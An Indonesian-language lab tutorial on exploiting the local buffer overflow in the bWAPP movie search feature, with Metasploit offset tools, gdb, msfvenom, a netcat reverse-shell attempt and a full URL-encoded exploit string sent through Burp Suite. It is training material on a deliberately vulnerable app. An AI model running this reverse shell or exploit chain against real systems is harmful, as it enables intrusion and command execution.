Buffer Overflow
Buffer Overflow disebabkan oleh kode program yang salah, yang tidak dapat memproses terlalu banyak data dengan benar oleh CPU dan oleh karena itu dapat memanipulasi pemrosesan CPU. Misalkan terlalu banyak data yang ditulis ke buffer atau tumpukan memori yang dicadangkan yang tidak dibatasi, misalnya. Dalam hal ini, register tertentu akan ditimpa, yang memungkinkan kode dieksekusi.
Buffer Overflow dapat menyebabkan program crash, corrupt data, atau merusak struktur data dalam runtime program. Yang terakhir ini dapat menimpa alamat pengiriman program tertentu dengan data arbiter, memungkinkan penyerang untuk mengeksekusi perintah dengan hak istimewa dari proses yang rentan terhadap buffer overflow dengan meneruskan kode mesin arbitrer. Kode ini biasanya dimaksudkan untuk memberi akses yang lebih nyaman ke sistem untuk menggunakannya untuk tujuan kita sendiri.
Buffer Overflow juga membuat perangkat lunak melakukan operasi pada buffer memori, tetapi dapat membaca dari atau menulis ke lokasi memori yang berada di luar batas buffer yang diinginkan.
Implementasi
Siapkan lab bWAPP dan pilih kerentanan Buffer Overflow (Local).
Lakukan testing function pada fitur pencarian movie. Masukan nama film sebagai inputan dan lihat output yang diberikan.
Sistem akan memberikan output data sesuai yang sebelumnya telah diinputkan oleh pengguna. Lalu cek dengan data yang tidak terdapat pada database movie ini dan lihat hasil output yang diberikan oleh sistem.
Sistem akan memberitahukan bahwa tidak ada data yang sesuai dengan inputan pengguna.
Selanjutnya coba lakukan teknik untuk mendapatkan shell. Masukan perintah “ $(nc -e /bin/bash <ip> <port>)”.
Lihat output yang diberikan, cara diatas tidak berhasil untuk dilakukan.
Cara mendapatkan shell yang selanjutnya adalah dengan cara seperti berikut. Buat aplikasi menjadi crash dengan memberinya string dari pattern_create.rb dari Metasploit.
Buka terminal dan jalankan perintah “locate pattern_create.rb”. Lihat output dari perintah tersebut.
Buka direktori tersebut.
Sekarang jalankan pattern_create.rb dengan perintah “sudo ./pattern_create.rb -l 360”.
Ketika dijalankan perintah tersebut akan muncul output seperti gambar diatas.
Buka mesin target (beebox), buka terminal dan akses direktori Apps pada direktori /var/www/bWAPP.
Lalu jalankan perintah dibawah.
gdb — args ./movie_search “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9”
Jika sudah akan terlihat seperti gambar di bawah ini.
Lalu lakukan running pada gdb dan juga lihat informasi mengenai registers.
Value pada eip adalah 0x41386c41.
Maka selanjutnya pada device lokal / device attacker jalankan perintah “./pattern_offset.rb -q 0x41386c41”
Kembali lagi pada sistem operasi server target (beebox). Jalankan perintah “x/100cb $esp” pada gdb.
Setelah itu jalankan perintah berikut pada terminal device attacker.
Pada device server target buka terminal baru dan buka direktori Apps lagi pada direktori /var/www/bwAPP dan jalankan perintah “objdump -D ./movie_search | grep jmp.*esp”
Selanjutnya pada device attacker atau device local buat payload dengan perintah seperti berikut “sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b ‘\x00’ -e x86/opt_sub -f raw > /home/kali/payload-bof.txt”. Tunggu beberapa saat untuk proses pembuatan payload ini.
Jika sudah periksa payload yang telah dibuat dengan perintah cat.
Lakukan generate ulang dengan perintah dibawah ini.
(echo -n \’; cat /home/kali/payload-bof.txt; echo -n \’;) | perl -pe’s/(.)/sprintf(“%%%02X”,ord($1))/seg’
Lalu buka halaman web target tadi, siapkan intercept pada burp suite. lakukan inputan dengan data apapun pada fitur pencarian movie. Lalu intercept request tersebut menggunakan burp suite. Ubah nilai dari parameter “title” menjadi payload yang telah digunakan. Seperti hint yang telah diberikan payload yang digunakan adalah \x90*354 + \x8f\x92\x04\x08 + [payload]. Maka script payload yang dapat digunakan adalah seperti berikut :
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%05%FD%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%14%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%08%90%25%E1%2D%01%01%01%01%2D%01%01%01%01%50%2D%67%6C%FE%0B%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC%15%24%60%2D%01%01%01%01%2D%01%01%01%01%50%2D%E7%77%7D%1A%2D%01%01%01%01%2D%01%01%01%01%50%2D%67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA%F7%2D%01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D%01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27
Maka tampilan pada burpsuite akan terlihat seperti gambar di bawah ini.
Lakukan forward pada request yang telah diberi payload tersebut dan lihat hasilnya.
CVSS:
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:L
Pencegahan
Beberapa cara pencegahan yang dapat digunakan adalah
- Penggunaan strict compiler flags
- Strong typing
- Analisis kode statik
- Fuzz testing dapat bermanfaat dalam mengidentifikasi kebocoran memori, memori, dan array overruns, dan masih banyak lainnya.
Terimakasih!
Stay Ethical and Happy Hacking!🍻
Referensi